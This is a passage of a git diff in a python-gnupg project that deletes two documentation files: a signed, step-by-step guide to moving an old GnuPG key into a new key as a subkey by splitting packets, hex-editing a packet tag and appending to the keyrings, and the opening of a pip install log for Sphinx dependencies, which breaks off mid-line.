smasher.org> - * questions about gpg should be sent to the gnupg-users mailing - list: http://lists.gnupg.org/mailman/listinfo/gnupg-users - -============================================================================ - -* old key: 3EBE 2810 30AE 601D 54B2 4A90 9C28 0BBF 3D7D 41E3 - -pub 1024D/3D7D41E3 2003-10-04 Atom Smasher <atom@suspicious.org> -uid Atom Smasher <atom@smasher.org> -sub 2048g/1E88BF71 2003-10-04 [expires: 2005-01-26] - -================ - -* new key: 762A 3B98 A3C3 96C9 C6B7 582A B88D 52E4 D9F5 7808 - -pub 4096R/D9F57808 2004-05-11 Atom Smasher <atom@smasher.org> -uid Atom Smasher <atom@suspicious.org> -sub 1024D/3D7D41E3 2003-10-04 [expires: 2006-02-13] -sub 2048g/1E88BF71 2003-10-04 [expires: 2006-01-26] - -=================================== - -backup the new keys: - $ gpg --export D9F57808 > D9F57808_original.txt - $ gpg --export-secret-key D9F57808 > D9F57808_original_secret.txt - -and the old keys: - $ gpg --export 3D7D41E3 > 3D7D41E3_original.txt - $ gpg --export-secret-key 3D7D41E3 > 3D7D41E3_original_secret.txt - -break the old secret key into pieces: - $ gpg --export-secret-key 3D7D41E3 | gpgsplit -vp OLD_SEC - -=================================== - -in this case, the old primary key needs to be converted into a subkey. -pgpdump shows that it's a primary key: - $ pgpdump OLD_SEC000001-005.secret_key - Old: Secret Key Packet(tag 5) - <<snip>> - -only do this if you're converting a PRIMARY KEY into a SUBKEY: open that -file in a hex editor and refer to RFC2440 4.2 & 4.3. i recommend setting -the hex editor into a binary display. in this example the first byte is -"10010101" and it needs to be changed to "10011101". the change can be -confirmed with pgpdump: - $ pgpdump OLD_SEC000001-005.secret_key - Old: Secret Subkey Packet(tag 7) - <<snip>> - -we've now converted the old primary key into a subkey. if you're moving a -subkey from one key to another, you don't have to do that. - -=================================== - -use "edit-key" and add a subkey of the same type (DSA, for this example) -and size to the new key. this subkey will be discarded, but we need to -generate it for now: this seems to be the quickest way to generate a -keybinding signature with the correct features. - -exit from "edit-key" and save. - -=================================== - -split the current version of the new public key: - $ gpg --export D9F57808 | gpgsplit -vp TEMP_KEY1 -the only part we need from that split is the binding signature that was -just generated. - -delete (from the keyring) both the private and public copies of the new -key: - $ gpg --delete-secret-key D9F57808 - $ gpg --delete-key D9F57808 - -also delete (from the keyring) both the private and public copies of the -old key. - -because the subkey that we're adding to the new key does not correspond to -the subkey binding signature that was created for it, gpg will not allow -the key to be imported. the way around that is to "force feed" the key into -the keyring, bypassing the normal sanity checks. once it's in the keyring -we can make it all work. - -* note: the actual file names that you're using may differ somewhat from -mine. when in doubt (or rather, when you're not sure), use pgpdump to -examine the contents of files. - -~import~ (directly into the secret keyring) the original copy of the new -key (D9F57808_original_secret.txt), the edited copy of the old primary key -(now a subkey, OLD_SEC000001-005.secret_key) and the binding signature of -the subkey that we just generated (TEMP_KEY1000007-002.sig): - $ cat D9F57808_original_secret.txt \ - OLD_SEC000001-005.secret_key \ - TEMP_KEY1000007-002.sig >> ~/.gnupg/secring.gpg - -~import~ (directly into the public keyring) a public key by adding -"| gpgsplit --no-split --secret-to-public" to the above command like this: - $ cat D9F57808_original_secret.txt \ - OLD_SEC000001-005.secret_key \ - TEMP_KEY1000007-002.sig \ - | gpgsplit --no-split --secret-to-public >> ~/.gnupg/pubring.gpg - -now we have to make a *valid* keybinding signature for the subkey that we -just added. use "edit-key", select the newly added subkey, and reset it's -expiration date. that will generate a valid keybinding signature. - -while in "edit-key", reset the password. otherwise you may inadvertently -create a key with multiple passwords, as described here - - http://atom.smasher.org/gpg/gpg-passwords.txt - -exit from "edit-key" and save. - -========================= - -this last part makes no sense to me (but it doesn't seem to work -otherwise). - -back up (export) the latest version of the public and private keys: - $ gpg --export-secret-key D9F57808 > new-key.sec - $ gpg --export D9F57808 > new-key.pub - -delete (from the keyring) the private and public key: - $ gpg --delete-secret-key D9F57808 - $ gpg --delete-key D9F57808 - -also, delete (from the keyring) all copies of the old (sub)key that was -just added to the new key. - -import the new public and private keys: - $ gpg --import new-key.sec new-key.pub - -========================= - -before you publish your new key: - -* make sure the key is "ultimately trusted". deleting and importing will -have removed it from the trust db. since you own the key, ultimate trust -seems reasonable. - -* check all expiration dates and preferences. some of these operations may -have changed your expiration dates and preferences; reset as necessary. - -* test out all key components for creating and verifying signatures, and -encryption/decryption. use the bang (!) to force each (sub)key: - create & verify signatures: - $ date | gpg -u 'D9F57808!' --clearsign | gpg -v --verify - $ date | gpg -u '3D7D41E3!' --clearsign | gpg -v --verify - encrypt/decrypt: - $ date | gpg -ear 'D9F57808!' | gpg -v --decrypt - $ date | gpg -ear '1E88BF71!' | gpg -v --decrypt - -* after testing out the keys locally, send your new public key to one or -two people and test all key components (sending signed/encrypted messages -to each other using all key components). make sure that they first delete -(from their keyrings) your old key! and make sure that they understand that -the key should NOT be circulated until all functions are verified to be -working! - -* when putting the new key into circulation, it's probably a good idea to -expire/revoke the old key. include a revocation comment that specifies the -new key ID and instructions to delete the old key from the keyring. - -* note on key revocation: according to the OpenPGP standards a revocation -generated by a sub key will be ignored, unless that subkey has been -designated (by the primary key) as a revocation key. GnuPG seems to behave -correctly, but some versions of PGP(tm) may not. if someone is claiming -that your new key is revoked, have then remove all of your old and current -keys from their keyring: then re-import your current key(s). - ------BEGIN PGP SIGNATURE----- -Version: GnuPG v1.2.4 (FreeBSD) - -iD8DBQFApwlpnCgLvz19QeMRAhrpAJ4rhLrmVDjABh8CpPdTZ5jNMi7LsgCgp35S -6qcUe4csx1p5AE2rAsvDi9c= -=y7bA ------END PGP SIGNATURE----- diff --git a/docs/pip-install.log b/docs/pip-install.log deleted file mode 100644 index b8541d2..0000000 --- a/docs/pip-install.log +++ /dev/null @@ -1,5008 +0,0 @@ -Downloading/unpacking sphinxcontrib-fulltoc - - Getting page https://pypi.python.org/simple/sphinxcontrib-fulltoc/ - - URLs to search for versions for sphinxcontrib-fulltoc: - - * https://pypi.python.org/simple/sphinxcontrib-fulltoc/ - - Analyzing links from page https://pypi.python.org/simple/sphinxcontrib-fulltoc/ - - Found link https://pypi.python.org/packages/source/s/sphinxcontrib-fulltoc/sphinxcontrib-fulltoc-1.0.tar.gz#md5=729a9da6d8cabfc0c4cdf732d2d6e021 (from https://pypi.python.org/simple/sphinxcontrib-fulltoc/), version: 1.0 - - Skipping link http://sphinx.pocoo.org (from https://pypi.python.org/simple/sphinxcontrib-fulltoc/); not a file - - Skipping link http://sphinxcontrib-fulltoc.readthedocs.org (from https://pypi.python.org/simple/sphinxcontrib-fulltoc/); not a file - - Downloading sphinxcontrib-fulltoc-1.0.tar.gz - - Downloading from URL https://pypi.python.org/packages/source/s/sphinxcontrib-fulltoc/sphinxcontrib-fulltoc-1.0.tar.gz#md5=729a9da6d8cabfc0c4cdf732d2d6e021 (from https://pypi.python.org/simple/sphinxcontrib-fulltoc/) - - Running setup.py egg_info for package sphinxcontrib-fulltoc - - Downloading http://pypi.python.org/packages/source/d/distribute/distribute-0.6.10.tar.gz - - Extracting in /tmp/tmpuoayxm - - Now working in /tmp/tmpuoayxm/distribute-0.6.10 - - Building a Distribute egg in /home/isis/.virtualenvs/python-gnupg/build/sphinxcontrib-fulltoc - - /home/isis/.virtualenvs/python-gnupg/build/sphinxcontrib-fulltoc/distribute-0.6.10-py2.7.egg - - running egg_info - - creating pip-egg-info/sphinxcontrib_fulltoc.egg-info - - writing requirements to pip-egg-info/sphinxcontrib_fulltoc.egg-info/requires.txt - - writing pip-egg-info/sphinxcontrib_fulltoc.egg-info/PKG-INFO - - writing namespace_packages to pip-egg-info/sphinxcontrib_fulltoc.egg-info/namespace_packages.txt - - writing top-level names to pip-egg-info/sphinxcontrib_fulltoc.egg-info/top_level.txt - - writing dependency_links to pip-egg-info/sphinxcontrib_fulltoc.egg-info/dependency_links.txt - - writing manifest file 'pip-egg-info/sphinxcontrib_fulltoc.egg-info/SOURCES.txt' - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'pip-egg-info/sphinxcontrib_fulltoc.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - writing manifest file 'pip-egg-info/sphinxcontrib_fulltoc.egg-info/SOURCES.txt' - - Source in /home/isis/.virtualenvs/python-gnupg/build/sphinxcontrib-fulltoc has version 1.0, which satisfies requirement sphinxcontrib-fulltoc - -Downloading/unpacking Sphinx>=0.6 (from sphinxcontrib-fulltoc) - - Getting page https://pypi.python.org/simple/Sphinx/ - - URLs to search for versions for Sphinx>=0.6 (from sphinxcontrib-fulltoc): - - * https://pypi.python.org/simple/Sphinx/ - - Analyzing links from page https://pypi.python.org/simple/Sphinx/ - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61611-py2.4.egg#md5=75a92f44d07307212bb8cc202b67d649 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61798-py2.4.egg#md5=ad6311e637912afd315be2833b2e69f3 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61843-py2.4.egg#md5=bd516211c5b5dabc002af66a5815af49 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61945-py2.4.egg#md5=07a09e91c8db83764964ad3592fc1637 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.1.61950-py2.4.egg#md5=349c59f4f815e97067f7eb0137d9ad36 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.2-py2.4.egg#md5=8ac6338e4361bdde100ae11974f3299a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.3-py2.4.egg#md5=c49c04553445e1aaa01219b0f5a92dd8 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.4-py2.4.egg#md5=106a11fe6539dc1cd2246442ce208e91 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.4.1-py2.4.egg#md5=3ed6e7a69a992427d090175f12f8cad0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.4.2-py2.4.egg#md5=5705b30e6e7f72988eaab91d99575ec2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.4.3-py2.4.egg#md5=bd8bc15701c86f49b70861f514f430bc (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.5-py2.4.egg#md5=1bed30adc42b8b22d82c87be354f9016 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.5.1-py2.4.egg#md5=c9618937bd0e59013075415bf374d55b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.5.2-py2.4.egg#md5=be03fd445499b2c52235232f6408d15a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.5.2b1-py2.4.egg#md5=0dcc31232215b247e5a0c6b64ea5d076 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6-py2.4.egg#md5=96a121ee9fddb4d86417cc329e5770e6 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.1-py2.4.egg#md5=8b5d93be6d4f76e1c3d8c3197f84526f (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.2-py2.4.egg#md5=86a524cc49128315b0f51337690e9406 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.3-py2.4.egg#md5=4a1a2499e55f73937a1e28313135dda0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.4-py2.4.egg#md5=3576185a22631454fc303cdf6a9e1cc9 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.5-py2.4.egg#md5=a3128d88b4426daeb069e74bcec3476a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.6-py2.4.egg#md5=eb1c7dac25c5502a486e29159eb17d71 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6.7-py2.4.egg#md5=1a1de68fa04879c6df051bd0376af32d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-0.6b1-py2.4.egg#md5=da658fcefcbcbbf28c1933e6ed2e08f5 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0-py2.4.egg#md5=3eb52d3e43c79fc526701a68f737a15d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.1-py2.4.egg#md5=c2d457595a405d42dcd67522b6959bd6 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.2-py2.4.egg#md5=e6350b7f96b2583c8d9a6645c9f7c808 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.3-py2.4.egg#md5=3dc44613251d5bcf6232107ff28167a4 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.4-py2.4.egg#md5=243a3b65eed4b105b12920024d24a772 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.5-py2.4.egg#md5=3d5583eaa051928e775907b6d62d5507 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.6-py2.4.egg#md5=24febe083f05c4b5405c8955123247a0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0.7-py2.4.egg#md5=f77624e49a3a2bf45d7262722cf51bbb (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0b1-py2.4.egg#md5=9aa988d8c46c7c82a5718a94c0320e8d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/S/Sphinx/Sphinx-1.0b2-py2.4.egg#md5=33e874c6ce6f3a7b2f347d0aac0e0cd7 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61611-py2.5.egg#md5=87126910df4e7a790466edbb0722a8f2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61798-py2.5.egg#md5=9e1125b9c905ab5ce6a3d23429e90a4e (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61843-py2.5.egg#md5=607908a9693266fab3600a724961e0de (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61945-py2.5.egg#md5=8139b5a66e41202b362bac270eef26ad (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.1.61950-py2.5.egg#md5=d13e2199a1fd0b68a7b54498f3ef5d38 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.2-py2.5.egg#md5=9ce78ce5207bad754cbcaf366098a583 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.3-py2.5.egg#md5=534d17b92cd0f4983d9689baec56effd (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.4-py2.5.egg#md5=a01eec63f91ebfe381cf18fc082d015b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.4.1-py2.5.egg#md5=a56928df371c489819a7c13a0db6cd3b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.4.2-py2.5.egg#md5=19aa1e7adc360f920c6eda3eadfe99aa (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.4.3-py2.5.egg#md5=23d2e03f93bb53c8ce33b2ed09c8129b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.5-py2.5.egg#md5=265cd3a988309dd10c48347eff751b0f (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.5.1-py2.5.egg#md5=c2bd07c30778948fb405dbe222f4231d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.5.2-py2.5.egg#md5=6cc769347999dd5be4d4a25a09a8c01f (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.5.2b1-py2.5.egg#md5=9713d0277a54174b74ea6f23195bfcc2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6-py2.5.egg#md5=e1d327ab9524a006179aef4155a0d7a0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.1-py2.5.egg#md5=97b2b41115ba6825e5a9908b43cdf518 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.2-py2.5.egg#md5=2ab5663b74eb7c654311696529e7b708 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.3-py2.5.egg#md5=e6af92a03efb5409b5200f94c2690962 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.4-py2.5.egg#md5=b9e637ba15a27b31b7f94b8809cdebe3 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.5-py2.5.egg#md5=b172e22f617ad8a0d179a528c52812d8 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.6-py2.5.egg#md5=d5b88b5c62feed95db3032bede5df580 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6.7-py2.5.egg#md5=bc4bc8b2d2299d0221fc1ec0ab62c891 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-0.6b1-py2.5.egg#md5=b877f156e5c4b22257c47873021da3d2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0-py2.5.egg#md5=13b1565f0c9c0bb681d0144f43a9dd45 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.1-py2.5.egg#md5=dc1ec6c5250b4d1d2df8a54098d5cdf6 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.2-py2.5.egg#md5=2cebef2fe2f0da53b2e1087645ab1be2 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.3-py2.5.egg#md5=aa933c45d57ec6b7c9cfd22cde508e2d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.4-py2.5.egg#md5=1ad7a6b7e53759ab0fdeb576ebed411c (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.5-py2.5.egg#md5=cc0008f8b7db3f40c759b25d38dabf02 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.6-py2.5.egg#md5=72f4365e790eda127234257646232451 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0.7-py2.5.egg#md5=f1607f94e0431bad74fabd18366fdbbf (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0b1-py2.5.egg#md5=1be1de1c62193f90651a444d5f09cb85 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/S/Sphinx/Sphinx-1.0b2-py2.5.egg#md5=6dc18901db3750c8cd1bfa732b21c982 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.5-py2.6.egg#md5=151b2af3a2964cfc683334599eccd057 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.5.1-py2.6.egg#md5=59194e8a28268fce3ee8e6a0d5dd1cf8 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.5.2-py2.6.egg#md5=b52b3cd0cb23bad3517e65e6a8df13fd (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.5.2b1-py2.6.egg#md5=d2850a73f7cf6984c94aa94471b8c71b (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6-py2.6.egg#md5=20b277f865da261a7e297f3eb34fe94a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.1-py2.6.egg#md5=0c5baac650e48792124f71eabb0eb029 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.2-py2.6.egg#md5=ad7d9bac0a74de6b375603ef65bd182e (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.3-py2.6.egg#md5=5a3e6f4b5d972eb38968f91bf232265d (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.4-py2.6.egg#md5=81bce271bc540628af466c3d51f1a603 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.5-py2.6.egg#md5=d1230f6d317a35770365f62225069259 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.6-py2.6.egg#md5=0c2e0d69172423a8c19a677c15824db0 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6.7-py2.6.egg#md5=a002502c36bc43fa58d14a7c4cb092c4 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-0.6b1-py2.6.egg#md5=b7cc5643888d75152979e8a35630a3ff (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0-py2.6.egg#md5=6a031fc2efd61088ae23f2a337e324e6 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.1-py2.6.egg#md5=b7d667a665adb45bcf89cd5396343dfc (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.2-py2.6.egg#md5=d476b596c2cdcfbfd1988a3d55d3bd16 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.3-py2.6.egg#md5=a7a9dfe6216269c94ce172e1269e885c (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.4-py2.6.egg#md5=acb1cc638ef1d66c4f769309c6f8f735 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.5-py2.6.egg#md5=b40aced6f1d0f9394e08337e578b0ae3 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.6-py2.6.egg#md5=0954c9dbff760571eb324f24ff01a52c (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.7-py2.6.egg#md5=a547658740040dd87ef71fbf723e7962 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0.8-py2.6.egg#md5=e4d1d208ed1941734daaaa22d552971e (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0b1-py2.6.egg#md5=57f87ae87972a6c18b79460e657b9882 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.0b2-py2.6.egg#md5=df36b39be3840ffc0fdda601ccda88bc (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.1-py2.6.egg#md5=cda477d5ebdcb4c7a09a99d18e44b2f7 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.1.2-py2.6.egg#md5=d35db7a8ee62dd55522bca523954baa9 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/S/Sphinx/Sphinx-1.1.3-py2.6.egg#md5=f0873b56630070f661ec3abc3eaf4457 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.0.6-py2.7.egg#md5=c856ea4f72c59404a85973acc58be3ab (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.0.7-py2.7.egg#md5=1321a3888d4fad656a5ede5838686e12 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.0.8-py2.7.egg#md5=57abc468af9746be933c3bcca0264d19 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link 